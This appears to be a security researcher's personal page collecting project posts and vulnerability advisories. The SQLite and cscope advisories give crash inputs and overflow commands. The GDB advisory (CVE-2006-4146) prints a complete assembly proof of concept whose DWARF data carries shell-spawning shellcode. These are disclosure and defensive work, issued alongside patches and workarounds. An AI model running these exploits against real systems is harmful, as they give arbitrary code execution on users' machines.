    </sip:user@localhost.localdomain></sip:root@127.0.0.1></sip:user@localhost.localdomain>
    
    References
    Credit
    This work was sponsored by my employer.
    …»

    »Numerous security related bugs in SQLite affecting most versions before 3.4.0.

    Background
    "SQLite is the most widely deployed SQL database engine in the world." It "is a software library that implements a self-contained, serverless, zero-configuration, transactional SQL database engine."
    Details
    This section quickly lists the vulnerabilities and links to the author supplied fixes in CVStrac. Upgrading to version 3.4.0 is the recommended path to avoid these vulnerabilities.
    [=] Integer overflow / heap overflow in ALTER
    [-] If a table contains around 214748364 columns, and the alter command is
     called, a malloc() will occur with a size of 0.
    [+] http://www.sqlite.org/cvstrac/chngview?cn=3954
     http://www.sqlite.org/cvstrac/chngview?cn=3956
    [?] (Test case is waay to time consuming.)
    
    
    [=] Signedness error / heap overflow in select (sqlite3VdbeSetNumCols)
    [-] The function sqlite3VdbeSetNumCols takes the column count and multiplies it
     by 5 and then by 64 prior to an allocation call.  A query with the number of
     columns of 13421772 or greater will result in an overflow.
    [+] http://www.sqlite.org/cvstrac/chngview?cn=3954
     http://www.sqlite.org/cvstrac/chngview?cn=3956
    [?] select 1,1,1,1........,1;
    
    
    [=] Large select statements result in recursion induced stack overflow
    [-] The function walkExprTree() in expr.c makes recursive calls to handle each
     of the conditional tests.  Extremely large queries result in stack
    exhaustion.
    [+] http://www.sqlite.org/cvstrac/chngview?cn=3968
     http://www.sqlite.org/cvstrac/chngview?cn=3954
     http://www.sqlite.org/cvstrac/chngview?cn=3956
    [?] select 1 where 1==1 and 1==1 and ...... and 1 == 1;
    
    
    [=] Integer overflow / heap overflow in ORDER BY expressions
    [-] Similarly to the other column count overflows, memory is allocated for a
     size derived from the multiplication of the number of expressions by several
     fixed sizes: sqliteMalloc( sizeof(*pInfo) + nExpr*(sizeof(CollSeq*)+1) ).
    [+] http://www.sqlite.org/cvstrac/chngview?cn=3954
     http://www.sqlite.org/cvstrac/chngview?cn=3956
    [?] select 1 order by 1,1,1,1,1,......,1
    
    
    [=] Arithmetic overflow in the modulus operator
    [-] The division and modulus code check for a divisor of 0 but neglected to
     check for the LLONG_MIN/-1 case.  Due to the type handling in
    sqlite, -2**31 is
     treated as a 32 bit integer but treats -9223372036854775808 as a
    real.  In the
     case of division, doubles are used, but in the case of modulo, the value is
     cast down to a 32 bit integer.
    [+] http://www.sqlite.org/cvstrac/chngview?cn=3945
    [?] select (-9223372036854775808 % -1);
     select (-2147483648.0 % -1);
    
    
    [=] Out of bound read in sqlite_rename_trigger  / sqlite_rename_table
    [-] Two internally used functions, sqlite_rename_trigger and
     sqlite_rename_table do not properly check for terminal tokens when
    parsing the
     arguments.  This results in out of band reads.
    [+] http://www.sqlite.org/cvstrac/chngview?cn=3944
    [?] select sqlite_rename_table(0, 0);
     select sqlite_rename_trigger(0,0);
    
    
    [=] NULL pointer dereference with pathological detach queries
    [-] If unexpected SQL follows the DETACH command, NULL pointer derefencing
     occurs in the parsing code.
    [+] http://www.sqlite.org/cvstrac/chngview?cn=3965
    [?] DETACH RAISE ( IGNORE ) IN ( SELECT "AAAAAA" . * ORDER BY REGISTER LIMIT
       "AAAAAA" . "AAAAAA" OFFSET RAISE ( IGNORE ) NOT NULL );
    
    
    [=] NULL pointer dereference with pathological SQL
    [-] This is similar to the earlier bug with DETACH but takes a different code
     path.
    [+] http://www.sqlite.org/cvstrac/chngview?cn=3965
    [?] DETACH DATABASE ( NOT ( SELECT * ) IN ( ) );
    
    
    [=] Multiple parser bugs resulting in NULL pointer dereferences, bad free()s,
     and assertions
    [-] Register tokens are used internally for tracking internal stack state in
     sqlite.
    [+] http://www.sqlite.org/cvstrac/chngview?cn=3980
    [?] SELECT + #100;
    [!] Note: assert() statements are automatically removed in most sqlite
     builds through the definition of NDEBUG. This may increase the impact of
     any reachable assertions.
    
    
    [=] Schema corruption possible with malformed unicode
    [-] Due to a mismatch in string length during processing (alter table and
     substr()), malformed unicode can be used to corrupt the schema.  This would
     allow for memory exhaustion attacks as well as general table damage.
    [+] http://www.sqlite.org/cvstrac/chngview?cn=4003
     http://www.sqlite.org/cvstrac/chngview?cn=4033
    [?] E.g.,
     echo -e 'create table bar ("\xc6\xc6");' | ./sqlite3 db
     echo "alter table bar add column aaa;"   | ./sqlite3 db
     echo "alter table bar add column aaa;"   | ./sqlite3 db
     echo "alter table bar add column aaa;"   | ./sqlite3 db
     echo ".schema bar"                       | ./sqlite3 db
     # Shows the broken schema
    
    
    [=] Multiple issues with zeroblob()
    [-] The zeroblob function creates empty structures with a claimed size
     that is the supplied argument.  Due to a lack of checking, bitwise ORs
     would occur on null values.  In addition, bad free()s occurred when
     zeroblob was supplied a negative value.
    [+] http://www.sqlite.org/cvstrac/chngview?cn=4048
    [?] select hex(zeroblob(1) | x'01');
     select zeroblob(-1);
    
    References
    Credit
    This work was sponsored by my employer. …»

    »This my crack at a (quick!) safe integer library for C. The routines are based off of the recommendations at CERT's secure coding site, but I'm trying to add interfaces that are more appealing to the developer.

    Shockingly, integer overflows and sign errors are incredibly common in software still. One normal mistake is to use user-supplied values in multiplicative statements for memory allocation, e.g. malloc(sizeof(giantstruct) * user_int). These sort of error, while seemingly trivial, easily results in exploitable heap overflows.

    safe_iop is a simple library that I'm releasing to the public domain which can help with these. Not only does it supply simple integer operation helper functions, it also supplies a more complex interface:

          bool safe_iopf(void *dst, char *format, ...);
        
    This syntax takes in a format char array and performs the specified actions on the remaining arguments. For instance,
          if (!safe_iopf(&result, "++", i, j, k)) {
            printf("Overflow!\n");
            abort();
          }
        
    This gets even trickier by allowing the specification of size and signedness:
          if (!safe_iopf(&result, "u32*s32+", i, j, k)) {
            printf("Overflow!\n");
            abort();
          }
        
    The above case describes an unsigned 32-bit integer multiplication between i and j followed by a signed int32 addition with k.

    There are still some kinks to work out and currently only 32-bit integer operations are supported, but I'm hoping this slightly friendlier interface might make software a slight bit better. …»

    »I was recently looking for reverse engineering tools for Linux. On the open source front, there's virtually nothing left that works on modern Linux systems. Fneirs, linice, and numerous others are all extinct. Without picking up a copy of IDA, you're left with gdb or zero.

    This is pretty frustrating. I haven't seen any tools built on the new utrace system yet, but perhaps it will make gdb that much better...

    UPDATE: lcamtuf has a nice debug tool list, but it doesn't help too much. I have some hope ERESI will shape up.
    …»

    »I've been looking for a useful tool to aid note taking, but that I could also keep on a USB stick safely. I didn't want to have to toy with encrypted filesystems or specialized programs to access it, and I'd like it to be cross platform.

    I ran across TiddlyWiki. It's a fully self-contained wiki page that completely self managed in javascript. The idea both terrified and intrigued me. Unfortunately, it lacked an encryption feature. Up for a challenge, I wrote one. By cribbing Fritz's javascript AES implementation, I was able to have a simple "tiddler" encrypter in a few hours.

    Not only do I doubt that I've implemented this without mistake, I'd also be surprised if anyone is using it. It's pretty slow when it has to do a lot of work. Feel free to try out the EncryptionPlugin yourself. If you're using it, or your aware of any huge mistakes, I'd love to know. Unfortunately, it turns out I've only needed to use this once.
    …»

    »Ruby/ActiveLdap is a project I started when I first found Ruby. I'd been tortured by poor LDAP tool suites and LDAP's increasing ubiquity. RAL provides an ORM mapping from LDAP data to objects in Ruby by automatically parsing the server's LDAP schema The project page currently lives at RubyForge, and the amazing kou has taken over 99.9% of all Ruby/ActiveLdap development and support. …»

    »Multiple vulnerabilities have been discovered in cscope that allow for the execution of arbitrary code.

    Background
    From cscope.sourceforge.net: cscope is a developer's tool for browsing source code. It has an impeccable Unix pedigree, having been originally developed at Bell Labs back in the days of the PDP-11. Cscope was part of the official AT&T Unix distribution for many years, and has been used to manage projects involving 20 million lines of code!
    Impact
    A successful exploit would resulting the execution of arbitrary code immediately after executing cscope. In some environments, cscope may be executed automatically on start up of the user's text editor or IDE.
    Workaround
    When using cscope,
    • ensure that there are no unexpected `cscope.files'.
    • ensure that any source trees do not have full paths that exceed 250 characters or look particularly out of place.
    • ensure that any source trees do not have directory or file names with embedded newline or `$' characters.
    Note: as of this posting, most packaged versions of cscope, and the source repository, should be patched. Ensure that your version of cscope is not out of date.
    Discussion
    Multiple exploitable stack buffer overflows have been found in cscope due to the unchecked use of strcpy() and *scanf():

    Use of fscanf() and sscanf() without enforced field maximum widths during file list parsing

    This results in an exploitable condition which may be triggered in a number of ways:
    • specially crafted cscope.files may be placed in a shared working directory
    • specially crafted directory and file names in a source tree, or archive.

    In the first case, an attacker may leave a `cscope.files' file in a directory where the victim is likely to run cscope. This is particularly dangerous because some text editors will automatically execute it cscope on start-up.
    In the second case, an attacker may modify a shared source tree or supply a prepackaged source archive with specially crafted file and directory names. The victim would then need to run cscope over a list of this source tree's files. If the resulting list contained any specially crafted paths, and it would result in an overflow condition. As with the first case, some editors will automatically generate this file list and execute cscope on it. This would result in the attack occurring in the background, unbeknownst to the victim.
    In both cases, the resulting file list will have a path to a file that exceeds 250 characters. E.g.,
     $ bash -c 'D=$(ruby -e "print \"A\" * 255;"); for i in $(seq 1 15); do
                mkdir $D; cd $D; touch A; done;'
     $ find ./ -type f > cscope.files
     $ cscope
    
    Multiple unchecked uses of strcpy() during path variable expansion

    cscope allows users to specify limited arguments in addition to files in the `cscope.files' file list. When using the `-I' option, the subsequent paths will have variable expansion performed prior to use. The '~' character is expanded to the caller's `HOME' environment variable, and any occurrence of the `$' character followed by a string will be expanded to the value of that particular environment variable. e.g., "-I $SHELL" may become "-I /bin/bash". These cases result in two separate crash conditions due to the unchecked use of strcpy(). Tilde expansion may result in a stack buffer overflow if and only if the victim's `HOME' environment variable is changed to exceed the maximum allocated space for expansion:
     $ export HOME=$(ruby -e "print 'A'*2048")
     $ echo "-I~/foo.c" > cscope.files
     $ cscope
    
    However, general environment variable expansion is much more dangerous. This attack allows a similar attack to the *scanf() attacks which can be triggered using similar mechanisms. A specially crafted file list will result in the execution of arbitrary code. The difference is that maximum field width checking does not mitigate this attack. The specially crafted directory and file names may contain environment variable references which expand to much longer strings than the environment variable's name. Because of this, more knowledge of the victim's environment is required in order to create an effective exploit. However, some assumptions can be made about common environment variables, such as `SHELL' and `LS_COLORS', that make this attack viable.
     # This directory may exist in a given source tree:
     $ mkdir '^J-I$LS_COLORS'
     $ touch '^J-I$LS_COLORS/payload_here'
    
     # The end user may run this to build a filelist
     $ find ./ -type -f > cscope.files
     $ cscope
    
    (Note, ^J represents the key combination "Ctrl+j".)
    
    Unchecked use of strcpy() during command line argument parsing

    This results in a command line based overflow attack. The impact of this attack is minimal given that cscope is not normally run setuid, and the attacker would need to have some control over the call to cscope. The overflow occurs when cscope strcpy()s the `reffile` argument value over the statically allocated stack buffer for `reffile'.
     $ cscope -f `ruby -e 'print "A"*500'`
    
    References
    Credit
    This work was sponsored by my employer. …»

    »Multiple vulnerabilities have been discovered in the GNU debugger that allow for the execution of arbitrary code.

    Background
    GDB is the GNU Project Debugger. It is described on its project page as allowing "you to see what is going on `inside' another program while it executes -- or what another program was doing at the moment it crashed." DWARF is a information format standard used to represent debugging information for a specific binary. While the first version was originally used in ELF, ELF later moved to STABS. In more recent years, DWARF version 2.0 has been reintroduced into ELF binaries. More information can be found at freestandards.org.
    Impact
    A successful exploit would result in the execution of arbitrary code on the loading of a specially crafted executable. This a viable mechanism for an attacker to escape restricted environments by piggybacking exploit code on seeming harmless files often used for debugging. In the worst case, this could allow for privilege escalation.
    Workaround
    Do not use GDB on untrusted files that may have DWARF(2) debugging information, e.g. binaries and core files. There is no way to verify if an untrusted file is safe to debug without investigating the debugging symbols manually.
    Discussion
    There are multiple exploitable vulnerabilities in the DWARF and DWARF2 code. Initially, Tavis Ormandy, a colleague of mine, discovered a crash condition in GDB related to DWARF2 debugging information. This discovery led to the further exploration of the condition, and the discovery of these issues. The DWARF specification allows location description blocks containing a list of operations to be used to determine the final real address for some debugging symbol. GDB evaluates these operations on an unchecked stack buffer of size 64. This allows for any location block (DW_FORM_block) with more than 64 operations to overwrite the current stack frame with arbitrary user-supplied data. This behavior occurs in both dwarfread.c and dwarfread2.c.
    Patch
    This has been patched in most major distributions already.
    Exploit
    A simple proof of concept exploit is attached for Ubuntu Breezy (6.3-5ubuntu1.1). This has been proven against multiple other prepackaged and custom builds of gdb up to version 6.5. noteThis exploit was embargoed for over a year and a half.
    gdb-6.3-5ubuntu1.1:
    
           .file   "test.c"
           .section        .debug_abbrev,"",@progbits
    .Ldebug_abbrev0:
           .section        .debug_info,"",@progbits
    .Ldebug_info0:
           .section        .debug_line,"",@progbits
    .Ldebug_line0:
           .text
    .Ltext0:
    .globl main
           .type   main, @function
    main:
    .LFB2:
           .file 1 "test.c"
           .loc 1 3 0
           pushl   %ebp
    .LCFI0:
           movl    %esp, %ebp
    .LCFI1:
           subl    $8, %esp
    .LCFI2:
           andl    $-16, %esp
           movl    $0, %eax
           addl    $15, %eax
           addl    $15, %eax
           shrl    $4, %eax
           sall    $4, %eax
           subl    %eax, %esp
           .loc 1 3 0
           movl    $0, %eax
           leave
           ret
    .LFE2:
           .size   main, .-main
           .local  some_int
           .comm   some_int,2,2
           .section        .debug_frame,"",@progbits
    .Lframe0:
           .long   .LECIE0-.LSCIE0
    .LSCIE0:
           .long   0xffffffff
           .byte   0x1
           .string ""
           .uleb128 0x1
           .sleb128 -4
           .byte   0x8
           .byte   0xc
           .uleb128 0x4
           .uleb128 0x4
           .byte   0x88
           .uleb128 0x1
           .align 4
    .LECIE0:
    .LSFDE0:
           .long   .LEFDE0-.LASFDE0
    .LASFDE0:
           .long   .Lframe0
           .long   .LFB2
           .long   .LFE2-.LFB2
           .byte   0x4
           .long   .LCFI0-.LFB2
           .byte   0xe
           .uleb128 0x8
           .byte   0x85
           .uleb128 0x2
           .byte   0x4
           .long   .LCFI1-.LCFI0
           .byte   0xd
           .uleb128 0x5
           .align 4
    .LEFDE0:
           .text
    .Letext0:
           .section        .debug_info
           .long   0x13c /* total length of section  */
           .value  0x2
           .long   .Ldebug_abbrev0
           .byte   0x4
           .uleb128 0x1
           .long   .Ldebug_line0
           .long   .Letext0
           .long   .Ltext0
           .string "GNU C 4.0.3"
           .byte   0x1
           .string "test.c"
           .string "/tmp"
           .uleb128 0x2
           .byte   0x1
           .string "main"
           .byte   0x1
           .byte   0x3
           .long   0x6b
           .long   .LFB2
           .long   .LFE2
           .byte   0x1
           .byte   0x55
           .uleb128 0x3
           .string "int"
           .byte   0x4
           .byte   0x5
           .uleb128 0x4
           .string "some_int"
           .byte   0x1
           .byte   0x1
           .long   0x88
           .byte   0xaf    /* block length */
           .byte   0x0c    /* DW_OP_const4u */
           .long 0x01020304 /* put in a marker to dup */
           .rept 65
           .byte   0x12    /* DW_OP_dup: stacki++ */
           .endr
    /* when built -O0, this is objfile. O2 let's us not worry */
           .byte   0x0c    /* DW_OP_const4u */
           .long 0x99999999 /* clear markers */
           .byte   0x0c    /* DW_OP_const4u */
           .long 0x88888888
           .byte 0x0c      /* DW_OP_const4u */
           .long 0x77777777
           .byte   0x0c    /* DW_OP_const4u */
           .long 0x666666
           .byte   0x0c    /* DW_OP_const4u: EIP */
     .long  0x8239eef /* objdump -D gdb | grep 'jmp[ ]*\*%esp' */
    /* classic alephone shellcode */
           .byte 0x0c /* DW_OP_const4u */
           .long 0x895e2aeb /* shellcode */
           .byte 0x0c /* DW_OP_const4u */
           .long 0x46c60876 /* shellcode */
           .byte 0x0c /* DW_OP_const4u */
           .long 0x46c70007 /* shellcode */
           .byte 0x0c /* DW_OP_const4u */
           .long 0x0000000c /* shellcode */
           .byte 0x0c /* DW_OP_const4u */
           .long 0x000bb800 /* shellcode */
           .byte 0x0c /* DW_OP_const4u */
           .long 0xf3890000 /* shellcode */
           .byte 0x0c /* DW_OP_const4u */
           .long 0x8d084e8d /* shellcode */
           .byte 0x0c /* DW_OP_const4u */
           .long 0x80cd0c56 /* shellcode */
           .byte 0x0c /* DW_OP_const4u */
           .long 0x000001b8 /* shellcode */
           .byte 0x0c /* DW_OP_const4u */
           .long 0x0000bb00 /* shellcode */
           .byte 0x0c /* DW_OP_const4u */
           .long 0x80cd0000 /* shellcode */
           .byte 0x0c /* DW_OP_const4u */
           .long 0xffffd1e8 /* shellcode */
           .byte 0x0c /* DW_OP_const4u */
           .long 0x69622fff /* shellcode */
           .byte 0x0c /* DW_OP_const4u */
           .long 0x68732f6e /* shellcode */
           .byte 0x0c /* DW_OP_const4u */
           .long 0x5dec8900 /* shellcode */
           .byte 0x0c /* DW_OP_const4u */
           .long 0x000000c3 /* shellcode */
    /* end shellcode */
           .uleb128 0x3
           .string "short int"
           .byte   0x2
           .byte   0x5
           .byte   0x0
           .section        .debug_abbrev
           .uleb128 0x1
           .uleb128 0x11
           .byte   0x1
           .uleb128 0x10
           .uleb128 0x6
           .uleb128 0x12
           .uleb128 0x1
           .uleb128 0x11
           .uleb128 0x1
           .uleb128 0x25
           .uleb128 0x8
           .uleb128 0x13
           .uleb128 0xb
           .uleb128 0x3
           .uleb128 0x8
           .uleb128 0x1b
           .uleb128 0x8
           .byte   0x0
           .byte   0x0
           .uleb128 0x2
           .uleb128 0x2e
           .byte   0x0
           .uleb128 0x3f
           .uleb128 0xc
           .uleb128 0x3
           .uleb128 0x8
           .uleb128 0x3a
           .uleb128 0xb
           .uleb128 0x3b
           .uleb128 0xb
           .uleb128 0x49
           .uleb128 0x13
           .uleb128 0x11
           .uleb128 0x1
           .uleb128 0x12
           .uleb128 0x1
           .uleb128 0x40
           .uleb128 0xa
           .byte   0x0
           .byte   0x0
           .uleb128 0x3
           .uleb128 0x24
           .byte   0x0
           .uleb128 0x3
           .uleb128 0x8
           .uleb128 0xb
           .uleb128 0xb
           .uleb128 0x3e
           .uleb128 0xb
           .byte   0x0
           .byte   0x0
    /* some_int's definition */
           .uleb128 0x4   /* abbrev 4 */
           .uleb128 0x34  /* DW_TAG_variable */
           .byte   0x0      /* no children */
           .uleb128 0x3   /* DW_AT_name */
           .uleb128 0x8   /* DW_FORM_string */
           .uleb128 0x3a  /* DW_AT_decl_file */
           .uleb128 0xb   /* DW_FORM_data1 */
           .uleb128 0x3b  /* DW_AT_decl_line */
           .uleb128 0xb   /* DW_FORM_data2 */
           .uleb128 0x49  /* DW_AT_type */
           .uleb128 0x13  /* DW_FORM_ref4 */
           .uleb128 0x2   /* DW_AT_location */
           .uleb128 0xa   /* DW_FORM_block1 (max size of 255 - should be enough) */
           .byte   0x0
           .byte   0x0
           .byte   0x0
           .section        .debug_pubnames,"",@progbits
           .long   0x17
           .value  0x2
           .long   .Ldebug_info0
           .long   0x96
           .long   0x54
           .string "main"
           .long   0x0
           .section        .debug_aranges,"",@progbits
           .long   0x1c
           .value  0x2
           .long   .Ldebug_info0
           .byte   0x4
           .byte   0x0
           .value  0x0
           .value  0x0
           .long   .Ltext0
           .long   .Letext0-.Ltext0
           .long   0x0
           .long   0x0
           .ident  "GCC: (GNU) 4.0.3"
           .section        .note.GNU-stack,"",@progbits
    
    
    Just build this with gcc and load into gdb.
    References
    • CVE-2006-4146
    Credit
    This work was sponsored by my employer. …»

    »I used to spend a lot of time writing helpful tools for myself in Ruby. I haven't done much in a while. I've dumped the old skeletons of work in a directory. Feel free to try anything out, but I can't guarantee how useful it'll be. Some of the abandoned code includes projects like Ruby/BloomFilter, Ruby/PkiToolkit, Ruby/QuickCert, a NIST ICAT vulnerability database parser, and a simple, extensible certificate authority. …»

    »A while back I sent a patch upstream to tcpdump wh ich adds support for timed rotation of saved packet data files Often I'll find that I need to run tcpdump over a long period of time. The easiest way to avoid having oversized files is to rotate with the -C option. This approach is fine, but it means that any sort of basic trend analysis will require a little bit of automated help. If rotation is done on a time basis, a simple ls -l will show when traffic peaked or bottomed out. To this end, I authored a patch which was accepted upstream. E.g. Dump 10 minutes worth of data in 60 second files: tcpdump -G 60 -w timedump -s 0 -C 10 …»

    »Ruby/ActiveLdap parses LDAP schemas provided by the server in order to determine what attributes are available for a particular object and how they should be treated. This is being done primarily with the regular expressions built-in to Ruby/LDAP. Turns out, this is pretty damn slow. When trying to speed up RAL, I wrote this simple patch.

    In essence, it implements parsing of the BNF syntaxes supplied in RFC 2252. It works quite well with the OpenLDAP schemas I tested, but it doesn't yet support UTF-8 as the RFC specifies. Since there doesn't appear to be much interest in this parser, I haven't taken then time to add this, but I believe that this could be added quite easily by checking byte width of each token in the parse function. If you are looking for a LDAPv3 schema parser and you'd be interest in having me clean this up, feel free to drop me a line.
    …»

    »An old stab at a POSIX-compatible, user-level threading library. When I was at university, I was challenged to write a full-fledged, POSIX-compatible, threading library. Motivated by an assignment to write a threading library using the friendly BSD functions from ucontext.h, I opted for the more interesting problem. This resulted in wth. The library is fully functional and is compatible with POSIX 1003.1-2001 based operating systems. Feel free to try it out and send me feedback. If you're serious about using, I'd suggest breaking POSIX compliance and switching from sleep and SIGALRM to setitimer and SIGVTALRM. This will add support for sub-second scheduling which will make it much more responsive. …»

    This page does not necessarily reflect the views of my employer or anyone I'm associated with.
    redpig@dataspill.org